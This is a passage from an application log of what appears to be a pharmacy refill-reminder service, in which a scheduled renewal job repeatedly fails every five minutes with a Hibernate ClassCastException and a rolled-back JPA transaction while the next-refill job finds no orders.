org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 02:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 02:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 02:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 02:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 02:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 03:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 03:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 03:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 03:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 03:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 03:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 03:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 03:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 03:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 03:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 03:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 03:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 03:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 03:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 03:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 03:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 03:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 03:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 03:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 03:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 03:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 03:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 03:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 03:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 03:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 03:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 03:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 03:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 03:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 03:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 03:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 03:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 03:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at 